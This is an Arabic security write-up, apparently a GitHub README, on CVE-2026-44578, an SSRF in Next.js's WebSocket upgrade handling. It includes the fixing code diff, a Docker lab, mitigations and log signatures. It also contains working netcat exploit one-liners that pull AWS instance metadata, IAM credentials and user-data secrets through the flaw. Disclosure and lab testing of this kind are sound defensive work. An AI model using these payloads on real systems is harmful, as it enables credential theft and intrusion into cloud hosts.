
CVE-2026-44578: ثغرة SSRF في ترقية WebSocket في Next.js — سرقة بيانات الاعتماد قبل المصادقة عبر localhost:80. مختبر + استغلال + تدقيق.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 عالية (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| النوع | SSRF (CWE-918) |
| النسخ المتأثرة | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (للاستضافة الذاتية فقط) |
| النسخة المصححة | 15.5.16, 16.2.5 |
| المصادقة المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
معالج ترقية WebSocket في router-server.ts يستدعي proxyRequest() كلما كانت قيمة parsedUrl.protocol صحيحة (truthy) — دون التحقق من علامتَي إتمام التوجيه finished وstatusCode اللتين كان معالج HTTP يفرضهما دائمًا.
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
بعد أن يختزل normalizeRepeatedSlashes النمط http:/// إلى http:/، يصبح اسم المضيف فارغًا (null) ويتصل http-proxy بـ localhost:80 بالمسار الصحيح. أي خدمة مشاركة على نفس المضيف (بيانات تعريف السحابة، لوحات الإدارة، واجهات برمجة التطبيقات الداخلية) تصبح مكشوفة.
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
لا يمكن لـ
curlإرسال URIs بالصيغة المطلقة. استخدم TCP الخام:ncأوncatأوsocatأو مقابس Python.
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
يؤدي هذا إلى تشغيل 5 حاويات:
| الحاوية | الدور | المنفذ المكشوف |
|---|---|---|
nextjs-vuln | Next.js 15.5.15 (قابلة للاختراق) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16 (مصححة) | localhost:3001 |
imds-sidecar-vuln | محاكي AWS IMDSv1 يتشارك الشبكة مع النسخة القابلة للاختراق | localhost:80 (من منظور النسخة القابلة للاختراق) |
imds-sidecar-fixed | محاكي AWS IMDSv1 يتشارك الشبكة مع النسخة المصححة | localhost:80 (من منظور النسخة المصححة) |
internal-api | محاكاة خدمة داخلية | — |
تستخدم الحاويات الجانبية IMDS خيار network_mode: "service:nextjs-*" بحيث تكون خدمة البيانات التعريفية الوهمية على localhost:80 داخل حاوية Next.js — لمحاكاة مثيل سحابي حقيقي.
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
جميع الحاويات تعمل — النسخة القابلة للاختراق (15.5.15) على :3000، والنسخة المصححة (15.5.16) على :3001، والحاويات الجانبية IMDS تتشارك مساحات أسماء الشبكة.
طلب واحد يُرجع دليل بيانات EC2 التعريفية بالكامل (ami-id وinstance-id وiam/ وplacement/ وغيرها).
مجموعة بيانات اعتماد IAM كاملة: AccessKeyId وSecretAccessKey وToken وExpiration.
سكربت التمهيد user-data في EC2 يحتوي على DB_PASSWORD وAPI_KEY.
تم استخراج معرّف المثيل عبر نفس ناقل هجوم SSRF.
نفس الحمولة مُرسلة إلى Next.js 15.5.16. يُغلق الاتصال فورًا — لا يتم إرجاع أي بيانات.
سجلات IMDS الوهمية تُظهر طلبات GET قادمة من 127.0.0.1 (عملية Next.js)، مما يثبت أن هجوم SSRF يحدث من جانب الخادم.
جميع اختبارات SSRF السبعة تُرجع بيانات حساسة من المثيل القابل للاختراق.
تم حظر جميع الاختبارات السبعة على المثيل المصحح. تم تأكيد نجاح الإصلاح.
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
استبدل T بمضيف الهدف وROLE باسم دور IAM.
| القيد | التفاصيل |
|---|---|
| طريقة HTTP | GET فقط |
| الهدف | localhost:80 (يُحذف اسم المضيف عبر التطبيع) |
| AWS IMDSv2 | غير قابلة للاستغلال (تتطلب PUT) |
| بيانات GCP التعريفية | غير قابلة للاستغلال (ترفض ترويسة Upgrade) |
| الاستضافة على Vercel | غير متأثرة |
| خلف بروكسي عكسي | nginx/Caddy/HAProxy تحظر URIs بالصيغة المطلقة |
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}
على AWS: فرض IMDSv2 (HttpTokens=required).
توقيعات السجلات:
Failed to proxy http:/ — تم تشغيل البروكسي لكن الهدف غير قابل للوصولhttp:///path لا تُنتج أي سجل خطأ — راقب ترقيات WebSocket التي تحتوي على http: في سطر الطلبلأغراض اختبار الأمان المصرح به والتعليم والبحث الدفاعي فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.